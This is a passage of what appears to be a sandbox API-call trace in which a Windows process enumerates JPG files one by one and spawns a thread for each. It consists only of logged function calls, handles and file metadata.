	[0242.764] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df43, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382931.JPG", cAlternateFileName="")) returned 1
	[0242.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fec
	[0242.766] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.766] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x184d3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382938.JPG", cAlternateFileName="")) returned 1
	[0242.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ff0
	[0242.814] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.815] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1aba5, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382939.JPG", cAlternateFileName="")) returned 1
	[0242.815] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ff4
	[0242.818] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.818] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1653a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382942.JPG", cAlternateFileName="")) returned 1
	[0242.818] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ff8
	[0242.820] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.821] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e1d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382944.JPG", cAlternateFileName="")) returned 1
	[0242.821] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ffc
	[0242.823] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.823] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1531c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382947.JPG", cAlternateFileName="")) returned 1
	[0242.823] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2004
	[0242.826] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.826] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ad37, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382948.JPG", cAlternateFileName="")) returned 1
	[0242.826] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2008
	[0242.828] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.829] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x178d2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382950.JPG", cAlternateFileName="")) returned 1
	[0242.829] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200c
	[0242.831] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.832] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17749, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382952.JPG", cAlternateFileName="")) returned 1
	[0242.832] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2010
	[0242.834] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.835] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15a7f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382954.JPG", cAlternateFileName="")) returned 1
	[0242.837] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2014
	[0242.839] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.840] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15fef, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382955.JPG", cAlternateFileName="")) returned 1
	[0242.840] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2018
	[0242.842] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.842] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a9ed, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382957.JPG", cAlternateFileName="")) returned 1
	[0242.842] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x201c
	[0242.844] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.845] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x193e7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382958.JPG", cAlternateFileName="")) returned 1
	[0242.845] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2020
	[0242.847] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.848] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14f8a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382959.JPG", cAlternateFileName="")) returned 1
	[0242.848] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2024
	[0242.931] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.932] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382960.JPG", cAlternateFileName="")) returned 1
	[0242.932] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2028
	[0242.934] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.935] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18ac4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382961.JPG", cAlternateFileName="")) returned 1
	[0242.935] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x202c
	[0242.936] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.937] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bef7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382962.JPG", cAlternateFileName="")) returned 1
	[0242.937] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2030
	[0242.939] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.939] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17dee, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382963.JPG", cAlternateFileName="")) returned 1
	[0242.939] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2034
	[0242.941] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.942] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bb02, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382965.JPG", cAlternateFileName="")) returned 1
	[0242.942] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2038
	[0242.944] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.945] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382966.JPG", cAlternateFileName="")) returned 1
	[0242.945] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x203c
	[0242.947] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.947] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16d08, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382967.JPG", cAlternateFileName="")) returned 1
	[0242.947] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2040
	[0242.949] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.950] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b75f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382968.JPG", cAlternateFileName="")) returned 1
	[0242.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2044
	[0242.951] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.952] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1779f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382969.JPG", cAlternateFileName="")) returned 1
	[0242.952] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2048
	[0242.954] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.955] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15b94, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382970.JPG", cAlternateFileName="")) returned 1
	[0242.955] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204c
	[0242.957] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.957] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x190e9, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0384862.JPG", cAlternateFileName="")) returned 1
	[0242.958] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2050
	[0242.960] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.960] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17b79, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0384885.JPG", cAlternateFileName="")) returned 1
	[0242.960] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2054
	[0242.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.963] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14033, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0384888.JPG", cAlternateFileName="")) returned 1
	[0242.963] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2058
	[0243.114] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
